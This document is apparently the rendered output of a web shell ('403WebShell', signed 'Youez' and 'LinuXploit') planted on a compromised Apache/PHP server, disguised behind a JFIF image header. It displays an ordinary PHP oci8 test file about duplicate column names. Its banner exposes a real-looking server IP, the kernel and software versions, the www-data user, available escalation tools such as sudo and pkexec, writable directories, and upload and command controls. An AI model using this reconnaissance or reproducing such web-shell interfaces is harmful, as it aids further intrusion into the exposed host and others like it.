????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.116.81.41
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/oci8/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/oci8/tests/dupcolnames.phpt
--TEST--
SELECT tests with duplicate column anmes
--SKIPIF--
<?php if (!extension_loaded('oci8')) die ("skip no oci8 extension"); ?>
--FILE--
<?php

require(dirname(__FILE__).'/connect.inc');

// Initialization

$stmtarray = array(
    "drop table dupcolnames_tab1",
    "drop table dupcolnames_tab2",

    "create table dupcolnames_tab1 (c1 number, dupnamecol varchar2(20))",
    "create table dupcolnames_tab2 (c2 number, dupnamecol varchar2(20))",

    "insert into dupcolnames_tab1 (c1, dupnamecol) values (1, 'chris')",
    "insert into dupcolnames_tab2 (c2, dupnamecol) values (2, 'jones')",
);

oci8_test_sql_execute($c, $stmtarray);

// Run Test

echo "Test 1 - OCI_ASSOC\n";
$s = oci_parse($c, "select * from dupcolnames_tab1, dupcolnames_tab2");
oci_execute($s);
while (($r = oci_fetch_array($s, OCI_ASSOC)) != false) {
    var_dump($r);
}


echo "\nTest 2 - OCI_NUM\n";
$s = oci_parse($c, "select * from dupcolnames_tab1, dupcolnames_tab2");
oci_execute($s);
while (($r = oci_fetch_array($s, OCI_NUM)) != false) {
    var_dump($r);
}


echo "\nTest 3 - OCI_ASSOC+OCI_NUM\n";
$s = oci_parse($c, "select * from dupcolnames_tab1, dupcolnames_tab2");
oci_execute($s);
while (($r = oci_fetch_array($s, OCI_ASSOC+OCI_NUM)) != false) {
    var_dump($r);
}

// Clean up

$stmtarray = array(
    "drop table dupcolnames_tab1",
    "drop table dupcolnames_tab2",
);

oci8_test_sql_execute($c, $stmtarray);

?>
===DONE===
<?php exit(0); ?>
--EXPECTF--
Test 1 - OCI_ASSOC
array(3) {
  ["C1"]=>
  string(1) "1"
  ["DUPNAMECOL"]=>
  string(5) "jones"
  ["C2"]=>
  string(1) "2"
}

Test 2 - OCI_NUM
array(4) {
  [0]=>
  string(1) "1"
  [1]=>
  string(5) "chris"
  [2]=>
  string(1) "2"
  [3]=>
  string(5) "jones"
}

Test 3 - OCI_ASSOC+OCI_NUM
array(7) {
  [0]=>
  string(1) "1"
  ["C1"]=>
  string(1) "1"
  [1]=>
  string(5) "chris"
  ["DUPNAMECOL"]=>
  string(5) "jones"
  [2]=>
  string(1) "2"
  ["C2"]=>
  string(1) "2"
  [3]=>
  string(5) "jones"
}
===DONE===

Youez - 2016 - github.com/yon3zu
LinuXploit